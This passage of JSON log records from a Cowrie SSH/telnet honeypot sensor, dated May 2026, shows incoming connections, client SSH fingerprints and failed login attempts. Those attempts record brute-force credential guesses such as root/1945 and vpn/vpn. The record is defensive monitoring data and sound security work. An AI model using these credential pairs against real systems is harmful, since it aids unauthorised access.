{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:02.237944Z","src_ip":"124.155.125.131","session":"d9399cb39159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:03.415133Z","src_ip":"124.155.125.131","session":"d9399cb39159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.141.244.101","src_port":54272,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5859fcefcfe","protocol":"telnet","message":"New connection: 189.141.244.101:54272 (10.17.0.5:23) [session: f5859fcefcfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:07.191762Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":58198,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c4237396e50","protocol":"ssh","message":"New connection: 189.113.47.155:58198 (159.203.135.109:22) [session: 1c4237396e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:15.436670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:15.440551Z","src_ip":"189.113.47.155","session":"1c4237396e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:15.555585Z","src_ip":"189.113.47.155","session":"1c4237396e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:16.049212Z","src_ip":"189.113.47.155","session":"1c4237396e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:17.169142Z","src_ip":"189.113.47.155","session":"1c4237396e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.92674446105957,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:20.118373Z","src_ip":"189.141.244.101","session":"f5859fcefcfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.189.4.243","src_port":59820,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ddddbeb77e8","protocol":"telnet","message":"New connection: 37.189.4.243:59820 (159.203.135.109:23) [session: 8ddddbeb77e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:41.981702Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58204,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c11e1d23524","protocol":"ssh","message":"New connection: 8.218.166.49:58204 (10.17.0.5:22) [session: 3c11e1d23524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:45.965940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:46.121919Z","src_ip":"8.218.166.49","session":"3c11e1d23524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:46.956256Z","src_ip":"8.218.166.49","session":"3c11e1d23524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":36594,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed9f98138083","protocol":"ssh","message":"New connection: 139.59.208.49:36594 (159.203.135.109:22) [session: ed9f98138083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:51.164463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:51.169090Z","src_ip":"139.59.208.49","session":"ed9f98138083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:51.252295Z","src_ip":"139.59.208.49","session":"ed9f98138083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1945","message":"login attempt [root/1945] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:51.611474Z","src_ip":"139.59.208.49","session":"ed9f98138083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:52.696209Z","src_ip":"139.59.208.49","session":"ed9f98138083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:53.150747Z","src_ip":"8.218.166.49","session":"3c11e1d23524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:54.361973Z","src_ip":"8.218.166.49","session":"3c11e1d23524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.75374150276184,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:54.735346Z","src_ip":"37.189.4.243","session":"8ddddbeb77e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":52038,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd4ab36c1fb","protocol":"ssh","message":"New connection: 88.147.30.59:52038 (159.203.135.109:22) [session: 1fd4ab36c1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:04.846761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:04.851963Z","src_ip":"88.147.30.59","session":"1fd4ab36c1fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:04.973613Z","src_ip":"88.147.30.59","session":"1fd4ab36c1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kkkk","message":"login attempt [root/kkkk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:05.489374Z","src_ip":"88.147.30.59","session":"1fd4ab36c1fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:06.614405Z","src_ip":"88.147.30.59","session":"1fd4ab36c1fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":58632,"dst_ip":"159.203.135.109","dst_port":22,"session":"364b2659a25f","protocol":"ssh","message":"New connection: 190.167.237.191:58632 (159.203.135.109:22) [session: 364b2659a25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:16.667177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:16.671348Z","src_ip":"190.167.237.191","session":"364b2659a25f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:16.733178Z","src_ip":"190.167.237.191","session":"364b2659a25f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chick","message":"login attempt [root/chick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:17.001079Z","src_ip":"190.167.237.191","session":"364b2659a25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:18.064781Z","src_ip":"190.167.237.191","session":"364b2659a25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":45468,"dst_ip":"159.203.135.109","dst_port":22,"session":"5506cf1226ab","protocol":"ssh","message":"New connection: 124.155.125.131:45468 (159.203.135.109:22) [session: 5506cf1226ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:23.629750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:23.637121Z","src_ip":"124.155.125.131","session":"5506cf1226ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:23.818883Z","src_ip":"124.155.125.131","session":"5506cf1226ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:24.565230Z","src_ip":"124.155.125.131","session":"5506cf1226ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:25.746340Z","src_ip":"124.155.125.131","session":"5506cf1226ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47336,"dst_ip":"10.17.0.5","dst_port":22,"session":"949df371ba81","protocol":"ssh","message":"New connection: 8.218.166.49:47336 (10.17.0.5:22) [session: 949df371ba81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:31.971304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:31.979116Z","src_ip":"8.218.166.49","session":"949df371ba81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:32.193325Z","src_ip":"8.218.166.49","session":"949df371ba81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:32.894839Z","src_ip":"8.218.166.49","session":"949df371ba81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:35.092852Z","src_ip":"8.218.166.49","session":"949df371ba81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35694,"dst_ip":"10.17.0.5","dst_port":22,"session":"14493c1cd979","protocol":"ssh","message":"New connection: 8.218.166.49:35694 (10.17.0.5:22) [session: 14493c1cd979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:43.466444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:43.471036Z","src_ip":"8.218.166.49","session":"14493c1cd979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":45140,"dst_ip":"10.17.0.5","dst_port":23,"session":"47f73a7d21c3","protocol":"telnet","message":"New connection: 142.93.69.27:45140 (10.17.0.5:23) [session: 47f73a7d21c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:44.586042Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39666,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a1c7c283bd6","protocol":"ssh","message":"New connection: 8.218.166.49:39666 (10.17.0.5:22) [session: 5a1c7c283bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:52.053185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:52.057204Z","src_ip":"8.218.166.49","session":"5a1c7c283bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":39298,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe6f86a9ce10","protocol":"ssh","message":"New connection: 189.113.47.155:39298 (159.203.135.109:22) [session: fe6f86a9ce10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:57.345094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:57.353451Z","src_ip":"189.113.47.155","session":"fe6f86a9ce10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAl